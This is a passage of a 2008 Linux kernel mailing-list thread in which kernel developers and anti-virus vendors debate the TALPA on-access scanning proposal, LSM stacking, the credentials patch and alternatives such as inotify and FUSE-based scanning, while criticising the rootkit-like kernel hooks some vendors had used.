http://clamfs.sourceforge.net/.   Alter the automount system to wrap
this over the top of user mounted file systems and locations of user
editable and your are done.

Now credentials patch that has not got mainline yet also provides user
mode daemon support to override filesystem permissions.  Could also be
integrated into a Anti Virus Scanner.  credentials is not a LSM really
its centralisation of permission information so its no longer speed
all over the kernel.

There are sections in containers as well that could cover bits..

TPM segments appear in 2.6.27 as well that will also make a core
system breach harder.

Now please layout what you need Anti-Virus Companies.  Don't use
clueless desktop users as a reason.   Linux could already provide the
needed interfaces just not LSM.

Now please provide a detailed list of exactly what you need Anti-virus
companies.   Most likely everything you need already exists mainline
or in a development side line.  Extra coders to get some of those
features mainline would be good.



Peter Dolding


PS how to I get my email on the malware-list@lists.printk.net  So it
does not bounce things to me.

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Press, Jonathan]

-----Original Message-----
From: Peter Dolding [mailto:oiaohm@gmail.com] 
Sent: Wednesday, August 06, 2008 8:39 AM
To: Press, Jonathan
Cc: Rik van Riel; Greg KH; Arjan van de Ven; Eric Paris;
linux-kernel@vger.kernel.org; linux-security-module@vger.kernel.org
Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
linuxinterfaceforon access scanning

On Wed, Aug 6, 2008 at 10:10 PM, Press, Jonathan <Jonathan.Press@ca.com>
wrote:
> -----Original Message-----
> From: Rik van Riel [mailto:riel@redhat.com]
> Sent: Tuesday, August 05, 2008 8:51 PM
> To: Press, Jonathan
> Cc: Greg KH; Arjan van de Ven; Eric Paris;
linux-kernel@vger.kernel.org;
> malware-list@lists.printk.net; linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
> linuxinterfaceforon access scanning
>
> On Tue, 5 Aug 2008 14:38:23 -0400
> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
>
>> However, I will say that while preventing infections from arriving is
>> not foolproof, doing a scan-on-close with the option to delete or
>> quarantine an infected file goes a long way.
>
> How can you, as a security professional, argue for a security measure
> that you know is flawed, when there is a mailing list full of people
> willing to help figure out what a working security measure would look
> like?
>
> Yes, abandoning some of the old DOS anti-virus security model may
cause
> work, but surely that will be worth it if it leads to a more secure
> system?
>
>
> [JON PRESS]  I hesitate to join back in the discussion, because so far
I
> haven't been very successful.  I know that my level of technical depth
> is not at all the equal of just about everybody else in this
> conversation.  That's not my job and I don't claim to have the answers
> to all the questions that are being raised.
>
> However...  This question about arguing for a flawed security
technique
> is a good one, and in a way it gets to the heart of the philosophy of
> security.  Scan-on-close is admittedly incomplete as an anti-virus
tool.
> But I don't agree that that make it flawed.   It is part of a
repertoire
> of techniques for preventing malware from residing on a machine.
>
> Let's take a simplistic and unrealistic example.  Let's suppose that
you
> knew that there were 20 applications on your machine that had buffer
> overflow vulnerabilities that could be exploited, and you had a fix
for
> 18 of them.  Would you decide not to apply the fixes, because that
meant
> that there would still be 2 left -- and because theoretically there is
a
> way to prevent all buffer overflows from being exploited and there is
a
> mailing list full of people trying to figure out how to do it.
>
This buffer overflow risk and other equals are why LSM's exist.   It put
jails around applications so they cannot do any more than they are meant
to.   Its called risk reduction something that is most likely a new idea
to people coming from a windows background.   It also makes exploiting a
flawed applicaiton tricky.  Do something that application should not
normally do it will be blocked and trip the LSM alarm that
could be set to straight up terminate the offending application.   Yes a
true shot on sign of trouble system.  This is what you anti-virus guys
call behaviour monitoring same system some anti-virus software uses to
detect unknown viruses.

So 2 left should never happen since we have at least a part fix for all
of them.   This is how it has to work.   Failure is not a option in our
eyes.   If you have a percent missed that is a failure of there is not
something else to prevent damage.  We are not Windows users with weak
setup systems.   We don't want weak distributions out there.  Nice if
some anti-virus products started demanding a min standard LSM to run
side by side with them.

LSM's are already embedded core system exploitation prevention.

LSM currently don't extend deep enough into users to really tighten
completely down on the Users account.

So far I have not found a exact list of what is needed by AV or Malware
companies that say LSM stacking is needed.  That says stacked LSM's are
needed.

So I will bring a few things to the table.  Number one LSB is working on
a common packaging API using DBUS based off policy kit.   So malware
application installers run in users own account and to install into the
system have to go threw a scan able interface.   So far I have not seen
AV companies there working in improving the design. Prevention beats
cure.

This reduces a issue of malware to the Users own account without heavy
handed scanning.

So scanning becomes reduced to user editable files.

Linux firewall supports user mode modules so antivirus can scan network
traffic and use built in firewall to monitor for malware.

File scanning look no deeper than fusefs.
http://clamfs.sourceforge.net/.   Alter the automount system to wrap
this over the top of user mounted file systems and locations of user
editable and your are done.

Now credentials patch that has not got mainline yet also provides user
mode daemon support to override filesystem permissions.  Could also be
integrated into a Anti Virus Scanner.  credentials is not a LSM really
its centralisation of permission information so its no longer speed all
over the kernel.

There are sections in containers as well that could cover bits..

TPM segments appear in 2.6.27 as well that will also make a core system
breach harder.

Now please layout what you need Anti-Virus Companies.  Don't use
clueless desktop users as a reason.   Linux could already provide the
needed interfaces just not LSM.

Now please provide a detailed list of exactly what you need Anti-virus
companies.   Most likely everything you need already exists mainline or
in a development side line.  Extra coders to get some of those features
mainline would be good.


[JON PRESS]  First of all, my examples were just hypothetical examples
designed to set a context.  If they don't work, then don't take them too
literally.

Second, I'll try to put another way.  The disease analogy for computer
viruses, though perhaps overused, actually goes a surprisingly long way.
The kernel guys are like medical researchers, and the AV guys (or at
least speaking for myself) are in Public Health.  You guys are looking
at the human body (the computer) and looking for its low-level
vulnerabilities and ways to protect against them.  We are working in the
context of imperfect human behavior that often causes people to get sick
in spite of the current state of medical knowledge, and occasionally
causes things to get out of control.  Neither point of view is incorrect
-- but each attacks a very different aspect of the problem.

And this goes right to the heart of the statement "prevention beats
cure".  That's true in the long run, but it's not true if you're already
sick -- or your neighbor is, and prevention is still a few years away.

Third, regarding stating what we need, we actually already had a
discussion about this several months ago, where we described this.  That
discussion was the basis for Eric's proposal.  To give it some
perspective, here is how I understand the flow of events.  As Eric
described in his original posting this week, in the past many products
(AV, along with others that have needed access to similar events --
representatives of which have been participating in this discussion)
have done their own tricks to get at i/o events that they need to
trigger some action.  Many do this by modifying the syscall table.  We
were told that this was going to become an invalid operation in a coming
release of Red Hat Linux, and Red Hat offered to have a discussion with
us on what could be done to offer us another way into the same
information.  This seemed like a very positive direction to go in, and
there was a discussion about what this alternative ought to look like.
On the basis of this discussion, Eric then went off and worked on the
design that he has presented.  

There was probably an implicit assumption on everyone's part, including
Red Hat's, that what ought to be done was to replace the existing
syscall-based event trapping with some other interface that more or less
does the same thing in a cleaner way -- NOT to have all of the AV and
other product vendors go out and completely rethink their models.  And
that's not because we inherently object to rethinking.  It's really an
issue of what kind of time frame we have before a new OS goes out that
completely breaks our products.  Rethinking the entire model and
developing all new products along different paradigms is not a bad thing
to do, but it takes a lot of time.  Frankly we're always doing that in
some way.  However, there is a more pressing problem at hand, and that's
what Eric's spec is meant to solve.


Jon

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Wed, 6 Aug 2008 09:11:14 -0400
> There was probably an implicit assumption on everyone's part,
> including Red Hat's, that what ought to be done was to replace the
> existing syscall-based event trapping with some other interface that
> more or less does the same thing in a cleaner way -- NOT to have all
> of the AV and other product vendors go out and completely rethink
> their models.  And that's not because we inherently object to
> rethinking.  It's really an issue of what kind of time frame we have
> before a new OS goes out that completely breaks our products.

not writing to the syscall table hasn't been possible/allowed for..
about 5 years now. (yes I know there were still bad hacks possible
until 2 years ago). So I'm sorry, but the timeline argument doesn't
hold, you've had 5+ years of warning.

All existing RHEL products already don't allow this (I know it for the
earlier ones since I was part of the design team)...  unless your
software acts entirely like a rootkit (but even then)


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Eric Paris]

On Wed, 2008-08-06 at 06:49 -0700, Arjan van de Ven wrote:
> On Wed, 6 Aug 2008 09:11:14 -0400
> > There was probably an implicit assumption on everyone's part,
> > including Red Hat's, that what ought to be done was to replace the
> > existing syscall-based event trapping with some other interface that
> > more or less does the same thing in a cleaner way -- NOT to have all
> > of the AV and other product vendors go out and completely rethink
> > their models.  And that's not because we inherently object to
> > rethinking.  It's really an issue of what kind of time frame we have
> > before a new OS goes out that completely breaks our products.
> 
> not writing to the syscall table hasn't been possible/allowed for..
> about 5 years now. (yes I know there were still bad hacks possible
> until 2 years ago). So I'm sorry, but the timeline argument doesn't
> hold, you've had 5+ years of warning.
> 
> All existing RHEL products already don't allow this (I know it for the
> earlier ones since I was part of the design team)...  unless your
> software acts entirely like a rootkit (but even then)

Other options involved overwriting LSM function pointers.  I was told
that recently moving SELinux to be statically compiled in apparently
messed them up on that method, at least for RH products.  The other
method I've heard is hunting down all of the filesystem_operations
structs and overwriting those functions.  I was also told that until
recently pages marked RO could just be marked RW and then remarked RO,
although it was recently fixed to RO pages stayed RO.  So yeah, I'd have
to call them all ugly rootkit like hacks.

they just keep finding uglier and uglier ways to infiltrate the kernel
which is why I was ask to try to help get a clean solution.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Peter Dolding]

On Wed, Aug 6, 2008 at 11:55 PM, Eric Paris <eparis@redhat.com> wrote:
> On Wed, 2008-08-06 at 06:49 -0700, Arjan van de Ven wrote:
>> On Wed, 6 Aug 2008 09:11:14 -0400
>> > There was probably an implicit assumption on everyone's part,
>> > including Red Hat's, that what ought to be done was to replace the
>> > existing syscall-based event trapping with some other interface that
>> > more or less does the same thing in a cleaner way -- NOT to have all
>> > of the AV and other product vendors go out and completely rethink
>> > their models.  And that's not because we inherently object to
>> > rethinking.  It's really an issue of what kind of time frame we have
>> > before a new OS goes out that completely breaks our products.
>>
>> not writing to the syscall table hasn't been possible/allowed for..
>> about 5 years now. (yes I know there were still bad hacks possible
>> until 2 years ago). So I'm sorry, but the timeline argument doesn't
>> hold, you've had 5+ years of warning.
>>
>> All existing RHEL products already don't allow this (I know it for the
>> earlier ones since I was part of the design team)...  unless your
>> software acts entirely like a rootkit (but even then)
>
> Other options involved overwriting LSM function pointers.  I was told
> that recently moving SELinux to be statically compiled in apparently
> messed them up on that method, at least for RH products.  The other
> method I've heard is hunting down all of the filesystem_operations
> structs and overwriting those functions.  I was also told that until
> recently pages marked RO could just be marked RW and then remarked RO,
> although it was recently fixed to RO pages stayed RO.  So yeah, I'd have
> to call them all ugly rootkit like hacks.
>
> they just keep finding uglier and uglier ways to infiltrate the kernel
> which is why I was ask to try to help get a clean solution.
>
Simplely they are following the windows way of doing things.  Rootkit
the OS no one will stop us.  Sorry that RootKitting is not going to
work here long term because we will fix Root Kit weaknesses.  TPM from
IBM will make it even harder.  Nice bits of that are in 2.6.27.

Allowing LSM stacking solves nothing.   IBM's developers credentials
is a far better place for file system monitoring to hook in.  Its pre
caching allows all the alterations they could want.  Even better
credentials is a required patch to clean up Linux internal permission
splating all over the place.  Then generic filesystem caching sits on
top of that.   So 1 less cache needed.  Ie the cache of passes and
failures they keep so they don't slow the system down too much.

About time they wake up Linux Different OS.  We have zero tolerance of
root kits.   There is a section with the design to provide the file
system monitoring and the network monitoring both without being in LSM
space.  So why do they need LSM's.   Cannot they just use system LSM's
to protect there anti-virus like everyone else.   No need to treat
them special.   If they have a issue with a LSM not being good enough
they need to speak up.

They really need to provide what they want to do to us.   There issue
is they keep on looking in the wrong places and doing things the
windows way.   This is not WINDOWS.   In time mac and other OS's could
come tighter on root kits as well causing the programs to fail as
well.   Basically get use to working with a OS that does not tolerate
secuirty flaws.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Serge E. Hallyn]

Quoting Peter Dolding (oiaohm@gmail.com):
> On Wed, Aug 6, 2008 at 11:55 PM, Eric Paris <eparis@redhat.com> wrote:
> > On Wed, 2008-08-06 at 06:49 -0700, Arjan van de Ven wrote:
> >> On Wed, 6 Aug 2008 09:11:14 -0400
> >> > There was probably an implicit assumption on everyone's part,
> >> > including Red Hat's, that what ought to be done was to replace the
> >> > existing syscall-based event trapping with some other interface that
> >> > more or less does the same thing in a cleaner way -- NOT to have all
> >> > of the AV and other product vendors go out and completely rethink
> >> > their models.  And that's not because we inherently object to
> >> > rethinking.  It's really an issue of what kind of time frame we have
> >> > before a new OS goes out that completely breaks our products.
> >>
> >> not writing to the syscall table hasn't been possible/allowed for..
> >> about 5 years now. (yes I know there were still bad hacks possible
> >> until 2 years ago). So I'm sorry, but the timeline argument doesn't
> >> hold, you've had 5+ years of warning.
> >>
> >> All existing RHEL products already don't allow this (I know it for the
> >> earlier ones since I was part of the design team)...  unless your
> >> software acts entirely like a rootkit (but even then)
> >
> > Other options involved overwriting LSM function pointers.  I was told
> > that recently moving SELinux to be statically compiled in apparently
> > messed them up on that method, at least for RH products.  The other
> > method I've heard is hunting down all of the filesystem_operations
> > structs and overwriting those functions.  I was also told that until
> > recently pages marked RO could just be marked RW and then remarked RO,
> > although it was recently fixed to RO pages stayed RO.  So yeah, I'd have
> > to call them all ugly rootkit like hacks.
> >
> > they just keep finding uglier and uglier ways to infiltrate the kernel
> > which is why I was ask to try to help get a clean solution.
> >
> Simplely they are following the windows way of doing things.  Rootkit
> the OS no one will stop us.  Sorry that RootKitting is not going to
> work here long term because we will fix Root Kit weaknesses.  TPM from
> IBM will make it even harder.  Nice bits of that are in 2.6.27.
> 
> Allowing LSM stacking solves nothing.   IBM's developers credentials

Seriously, it's David Howells at Redhat who's doing that.  In your last
email i figured it was a typo, but credit where it's due :)

-serge

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Peter Dolding]

On Wed, Aug 6, 2008 at 11:11 PM, Press, Jonathan <Jonathan.Press@ca.com> wrote:
> -----Original Message-----
> From: Peter Dolding [mailto:oiaohm@gmail.com]
> Sent: Wednesday, August 06, 2008 8:39 AM
> To: Press, Jonathan
> Cc: Rik van Riel; Greg KH; Arjan van de Ven; Eric Paris;
> linux-kernel@vger.kernel.org; linux-security-module@vger.kernel.org
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
> linuxinterfaceforon access scanning
>
> On Wed, Aug 6, 2008 at 10:10 PM, Press, Jonathan <Jonathan.Press@ca.com>
> wrote:
>> -----Original Message-----
>> From: Rik van Riel [mailto:riel@redhat.com]
>> Sent: Tuesday, August 05, 2008 8:51 PM
>> To: Press, Jonathan
>> Cc: Greg KH; Arjan van de Ven; Eric Paris;
> linux-kernel@vger.kernel.org;
>> malware-list@lists.printk.net; linux-security-module@vger.kernel.org
>> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
>> linuxinterfaceforon access scanning
>>
>> On Tue, 5 Aug 2008 14:38:23 -0400
>> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
>>
>>> However, I will say that while preventing infections from arriving is
>>> not foolproof, doing a scan-on-close with the option to delete or
>>> quarantine an infected file goes a long way.
>>
>> How can you, as a security professional, argue for a security measure
>> that you know is flawed, when there is a mailing list full of people
>> willing to help figure out what a working security measure would look
>> like?
>>
>> Yes, abandoning some of the old DOS anti-virus security model may
> cause
>> work, but surely that will be worth it if it leads to a more secure
>> system?
>>
>>
>> [JON PRESS]  I hesitate to join back in the discussion, because so far
> I
>> haven't been very successful.  I know that my level of technical depth
>> is not at all the equal of just about everybody else in this
>> conversation.  That's not my job and I don't claim to have the answers
>> to all the questions that are being raised.
>>
>> However...  This question about arguing for a flawed security
> technique
>> is a good one, and in a way it gets to the heart of the philosophy of
>> security.  Scan-on-close is admittedly incomplete as an anti-virus
> tool.
>> But I don't agree that that make it flawed.   It is part of a
> repertoire
>> of techniques for preventing malware from residing on a machine.
>>
>> Let's take a simplistic and unrealistic example.  Let's suppose that
> you
>> knew that there were 20 applications on your machine that had buffer
>> overflow vulnerabilities that could be exploited, and you had a fix
> for
>> 18 of them.  Would you decide not to apply the fixes, because that
> meant
>> that there would still be 2 left -- and because theoretically there is
> a
>> way to prevent all buffer overflows from being exploited and there is
> a
>> mailing list full of people trying to figure out how to do it.
>>
> This buffer overflow risk and other equals are why LSM's exist.   It put
> jails around applications so they cannot do any more than they are meant
> to.   Its called risk reduction something that is most likely a new idea
> to people coming from a windows background.   It also makes exploiting a
> flawed applicaiton tricky.  Do something that application should not
> normally do it will be blocked and trip the LSM alarm that
> could be set to straight up terminate the offending application.   Yes a
> true shot on sign of trouble system.  This is what you anti-virus guys
> call behaviour monitoring same system some anti-virus software uses to
> detect unknown viruses.
>
> So 2 left should never happen since we have at least a part fix for all
> of them.   This is how it has to work.   Failure is not a option in our
> eyes.   If you have a percent missed that is a failure of there is not
> something else to prevent damage.  We are not Windows users with weak
> setup systems.   We don't want weak distributions out there.  Nice if
> some anti-virus products started demanding a min standard LSM to run
> side by side with them.
>
> LSM's are already embedded core system exploitation prevention.
>
> LSM currently don't extend deep enough into users to really tighten
> completely down on the Users account.
>
> So far I have not found a exact list of what is needed by AV or Malware
> companies that say LSM stacking is needed.  That says stacked LSM's are
> needed.
>
> So I will bring a few things to the table.  Number one LSB is working on
> a common packaging API using DBUS based off policy kit.   So malware
> application installers run in users own account and to install into the
> system have to go threw a scan able interface.   So far I have not seen
> AV companies there working in improving the design. Prevention beats
> cure.
>
> This reduces a issue of malware to the Users own account without heavy
> handed scanning.
>
> So scanning becomes reduced to user editable files.
>
> Linux firewall supports user mode modules so antivirus can scan network
> traffic and use built in firewall to monitor for malware.
>
> File scanning look no deeper than fusefs.
> http://clamfs.sourceforge.net/.   Alter the automount system to wrap
> this over the top of user mounted file systems and locations of user
> editable and your are done.
>
> Now credentials patch that has not got mainline yet also provides user
> mode daemon support to override filesystem permissions.  Could also be
> integrated into a Anti Virus Scanner.  credentials is not a LSM really
> its centralisation of permission information so its no longer speed all
> over the kernel.
>
> There are sections in containers as well that could cover bits..
>
> TPM segments appear in 2.6.27 as well that will also make a core system
> breach harder.
>
> Now please layout what you need Anti-Virus Companies.  Don't use
> clueless desktop users as a reason.   Linux could already provide the
> needed interfaces just not LSM.
>
> Now please provide a detailed list of exactly what you need Anti-virus
> companies.   Most likely everything you need already exists mainline or
> in a development side line.  Extra coders to get some of those features
> mainline would be good.
>
>
> [JON PRESS]  First of all, my examples were just hypothetical examples
> designed to set a context.  If they don't work, then don't take them too
> literally.
>
> Second, I'll try to put another way.  The disease analogy for computer
> viruses, though perhaps overused, actually goes a surprisingly long way.
> The kernel guys are like medical researchers, and the AV guys (or at
> least speaking for myself) are in Public Health.  You guys are looking
> at the human body (the computer) and looking for its low-level
> vulnerabilities and ways to protect against them.  We are working in the
> context of imperfect human behavior that often causes people to get sick
> in spite of the current state of medical knowledge, and occasionally
> causes things to get out of control.  Neither point of view is incorrect
> -- but each attacks a very different aspect of the problem.

We are not just kernel.  http://hal.freedesktop.org/docs/PolicyKit/
Is a good read.

Long term Linux design is basically Nuke the root user and protect the
core os providing restricted access.

So anti system core damage integrates outside kernel space.   We are
designing to limit how damaging that imperfect behavior is.

> And this goes right to the heart of the statement "prevention beats
> cure".  That's true in the long run, but it's not true if you're already
> sick -- or your neighbor is, and prevention is still a few years away.
>
> Third, regarding stating what we need, we actually already had a
> discussion about this several months ago, where we described this.  That
> discussion was the basis for Eric's proposal.  To give it some
> perspective, here is how I understand the flow of events.  As Eric
> described in his original posting this week, in the past many products
> (AV, along with others that have needed access to similar events --
> representatives of which have been participating in this discussion)
> have done their own tricks to get at i/o events that they need to
> trigger some action.  Many do this by modifying the syscall table.  We
> were told that this was going to become an invalid operation in a coming
> release of Red Hat Linux, and Red Hat offered to have a discussion with
> us on what could be done to offer us another way into the same
> information.  This seemed like a very positive direction to go in, and
> there was a discussion about what this alternative ought to look like.
> On the basis of this discussion, Eric then went off and worked on the
> design that he has presented.

> There was probably an implicit assumption on everyone's part, including
> Red Hat's, that what ought to be done was to replace the existing
> syscall-based event trapping with some other interface that more or less
> does the same thing in a cleaner way -- NOT to have all of the AV and
> other product vendors go out and completely rethink their models.  And
> that's not because we inherently object to rethinking.  It's really an
> issue of what kind of time frame we have before a new OS goes out that
> completely breaks our products.  Rethinking the entire model and
> developing all new products along different paradigms is not a bad thing
> to do, but it takes a lot of time.  Frankly we're always doing that in
> some way.  However, there is a more pressing problem at hand, and that's
> what Eric's spec is meant to solve.
>
You got to remember syscall trapping can be done for good and evil.

You use it to monitor actions another use it to do harm like steal data.

We need syscall trapping for debugging.  ptrace and the like.

Something important you are forgetting and its critical.  Windows gets
hell loads of overhead from Anti-Virus products.   Our LSM's already
provide overhead.  Duplication is not a way forwards.

Credentials  IBM patch provides a way to override filesystem
permissions so monitor and scan can be done there.

Tracing improvements lined 2.6.27 could be used to monitor
applications a AV is suspect of.

Capabilities restrict syscalls by blocks.

Question exactly why needing to monitor at the syscall level.   Really
why.   There are ways to monitor and restrict accesses without
dropping to that level.

Most likely the issue is that your models are broken.   Under windows
most anti-viruses copy the methods you would use to root kit a OS to
get there data.   Not working with the existing secuirty model.
Learning to work side by side with the LSM and other systems already
provided anti-virus companies are going to have to learn to do.   No
more of this hooking into the OS to get what you want.

Critical note on Linux.   Rootkits out number viruses and malware 20
to 1.   This is way different to your windows numbers.   So any method
that is Rootkit style will fail in time because that hole will have to
be closed.

My main issue is TALPA, dazuko and so on of Anti-Virus Filesystem
monitoring are all going to break anyhow when
http://lwn.net/Articles/251224/ Credentials get added and common
filesystem caching gets added.

You want to change a permissions on a file/object before its opened.
So does the Credential user space daemon on file systems that cannot
store secuirty information.  We only really need 1 location in the
source base for this.  Expand Credentials slightly to allow anti
viruses to operate by by problem.   Even better when FS-Cache can sit
on top of Credentials correctly no need for anti virus software to
have independent caching of blocked and allowed files.  FS-Cache picks
a large amount of this up.

Basically TALPA, dazuko and so on of Anti-Virus Filesystem monitoring
don't fit in the future design of Linux.   All they will be is
duplication of a existing interface.  A interface that complete avoids
the stacking issue.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[David Collier-Brown]

Peter Dolding wrote:
 > My main issue is TALPA, dazuko and so on of Anti-Virus Filesystem
> monitoring are all going to break anyhow when
> http://lwn.net/Articles/251224/ Credentials get added and common
> filesystem caching gets added.
> 
> You want to change a permissions on a file/object before its opened.
> So does the Credential user space daemon on file systems that cannot
> store secuirty information.  We only really need 1 location in the
> source base for this.  Expand Credentials slightly to allow anti
> viruses to operate by by problem.   Even better when FS-Cache can sit
> on top of Credentials correctly no need for anti virus software to
> have independent caching of blocked and allowed files.  FS-Cache picks
> a large amount of this up.
> 
> Basically TALPA, dazuko and so on of Anti-Virus Filesystem monitoring
> don't fit in the future design of Linux.   All they will be is
> duplication of a existing interface.  A interface that complete avoids
> the stacking issue.

Then in a real sense you've solved much of their problem for them (;-))
After this comes engineering, so that they can re-use the scanning 
mechanisms they already have, but from a different caller.

The requirements are probably that they know
- is this an open for read or write (somewhat less time-sensitive)?
- is the data present, or do we have to wait?
- if so, for what?
as of the time they start looking at the file.  Having a race-free
mechanism using credentials and RCU is, IMHO, A Really Good Thing.

Another thing they and we will likely need is a way to discover
if a file is inacessable due to an AV operation, and if the time
it has been inacessable is less than or equal to a scanning
upper bound by file size or beyond it.  The latter is for repair
of broken state introduced by the AV process failing.

--dave

> 
> Peter Dolding
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
> 

-- 
David Collier-Brown            | Always do right. This will gratify
Sun Microsystems, Toronto      | some people and astonish the rest
davecb@sun.com                 |                      -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linux interfaceforon access scanning

[Peter Dolding]

On 8/6/08, David Collier-Brown <davecb@sun.com> wrote:
>
>
> Peter Dolding wrote:
>  > My main issue is TALPA, dazuko and so on of Anti-Virus Filesystem
>> monitoring are all going to break anyhow when
>> http://lwn.net/Articles/251224/ Credentials get added and common
>> filesystem caching gets added.
>>
>> You want to change a permissions on a file/object before its opened.
>> So does the Credential user space daemon on file systems that cannot
>> store secuirty information.  We only really need 1 location in the
>> source base for this.  Expand Credentials slightly to allow anti
>> viruses to operate by by problem.   Even better when FS-Cache can sit
>> on top of Credentials correctly no need for anti virus software to
>> have independent caching of blocked and allowed files.  FS-Cache picks
>> a large amount of this up.
>>
>> Basically TALPA, dazuko and so on of Anti-Virus Filesystem monitoring
>> don't fit in the future design of Linux.   All they will be is
>> duplication of a existing interface.  A interface that complete avoids
>> the stacking issue.
>
> Then in a real sense you've solved much of their problem for them (;-))
> After this comes engineering, so that they can re-use the scanning
> mechanisms they already have, but from a different caller.
>
> The requirements are probably that they know
> - is this an open for read or write (somewhat less time-sensitive)?
> - is the data present, or do we have to wait?
> - if so, for what?
> as of the time they start looking at the file.  Having a race-free
> mechanism using credentials and RCU is, IMHO, A Really Good Thing.
>
> Another thing they and we will likely need is a way to discover
> if a file is inacessable due to an AV operation, and if the time
> it has been inacessable is less than or equal to a scanning
> upper bound by file size or beyond it.  The latter is for repair
> of broken state introduced by the AV process failing.
>
> --dave
>
Failed daemon support has to exist in Credentials for filesystems that
cannot store all the security data and needing third party support.
This is the issue same features basically required to do the same
things.  Different reasons.

One to virus scan.  One to fix up security lacking file systems.  From
what I see exactly the same set of features are needed.

At most only 1 feature is missing a form of copy on write.   Adding
this at credentials level over the complete system would not be a bad
thing.  A option to cache writes for scanning even write to like a
journal for latter applying once scanned.   This could even come as
part of the generic file system cache.

This is why I am kinda scratching my head.   Creating new files also
have to go past Credentials.  Even creating and editing files have to
go past Credentials.

It seams like the best place to look to hook in correctly even better
most of the hook is already there.  Hooking into Credentials is far
better than hooking into syscalls.   Since if a new special feature
filesystem access syscall is added it will still enter Credentials.
On top Credentials interface is under the VFS.  Its between the raw
filesystem and the VFS.   So no more path based errors.

Yes deeper into the OS to the correct location.  Anti-virus methods
are too shallow.  AppArmor and some other secuirty systems like it
have the same path based issue because LSM is too shallow.
Anti-Virus company answer has been to root kit out of the LSM API
wrong answer.  Correct answer is get to the correct location in the
OS.

Note clamfs is on the right path using fuse since this goes under the
VFS and not effected by path issues and is not root kitting the OS.
Of course credentials do the job better.

Really Anti-Virus guys give as a shopping list of exactly what you
need to do.   Key word need.   Hooking syscall's most likely is not a
need but a want.   Even worse a want in the wrong location to give 100
percent coverage.  Ie when a new syscall is added it creates a
backdoor around you scanners.

Peter Dolding

PS I really wound not mind a better paid job.   The developers who
have to created all these incorrect ways have to been paid more than
me.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Wed, 6 Aug 2008 08:10:53 -0400
"Press, Jonathan" <Jonathan.Press@ca.com> wrote:

> However...  This question about arguing for a flawed security
> technique is a good one, and in a way it gets to the heart of the
> philosophy of security.  Scan-on-close is admittedly incomplete as an
> anti-virus tool. But I don't agree that that make it flawed.   It is
> part of a repertoire of techniques for preventing malware from
> residing on a machine.

this indeed gets to the heart of the problem.
several of us here are trying to argue that scan-on-close isn't very
good, BUT that if you do scan-on-change (say with inotify) you do reach
the same goal but with much better results.

notice the "but" in there. What I hope will happen is that one or more
people from the AV side (eg you and tvrtko) will actually read the "but"
part rather than just dismissing it outright because of not liking your
solution in the first part of it. Part of the answer could be "nice
however our goal is <THIS> so it won't work because of <THAT>".
At least as long as <THIS> isn't "scan on close" because that's not a
goal, that's a means.

this kind of thing seems to be indicative of the entire discussion.
For lkml proposals, both sides need to be willing to accept alternative
solutions for a problem (I know I am, just need to see why ;-).. and
explain the WHY and the goal if it's not clear.



-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Arjan van de Ven wrote on 06/08/2008 14:44:18:

> On Wed, 6 Aug 2008 08:10:53 -0400
> "Press, Jonathan" <Jonathan.Press@ca.com> wrote:
> 
> > However...  This question about arguing for a flawed security
> > technique is a good one, and in a way it gets to the heart of the
> > philosophy of security.  Scan-on-close is admittedly incomplete as an
> > anti-virus tool. But I don't agree that that make it flawed.   It is
> > part of a repertoire of techniques for preventing malware from
> > residing on a machine.
> 
> this indeed gets to the heart of the problem.
> several of us here are trying to argue that scan-on-close isn't very
> good, BUT that if you do scan-on-change (say with inotify) you do reach
> the same goal but with much better results.
> 
> notice the "but" in there. What I hope will happen is that one or more
> people from the AV side (eg you and tvrtko) will actually read the "but"
> part rather than just dismissing it outright because of not liking your
> solution in the first part of it. Part of the answer could be "nice
> however our goal is <THIS> so it won't work because of <THAT>".
> At least as long as <THIS> isn't "scan on close" because that's not a
> goal, that's a means.
> 
> this kind of thing seems to be indicative of the entire discussion.
> For lkml proposals, both sides need to be willing to accept alternative
> solutions for a problem (I know I am, just need to see why ;-).. and
> explain the WHY and the goal if it's not clear.

Problems with inotify as far as I know:

You can't do something like inotify("/") (made up API) but you have to set 
up a watch for every directory you wan't to watch. That seems like a waste 
of resources.

Then you get back a file name, if you wan't to report it or attempt* to 
scan it you have to build a pathname yourself, which means you have to 
maintain the whole tree of names in memory. Even bigger waste.

When I say attempt to scan it above I mean that we are back into the 
pathanme teritorry. It is not guaranteed we will be able to open and scan 
using that pathname. I don't know what inotify reports with chroots and 
private namespaces, but it can certainly fail with NFS and root_squash. So 
it is less effective as well as being resource intensive.

I think this is a good amount of flaws which shows inotify isn't really 
ideal.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

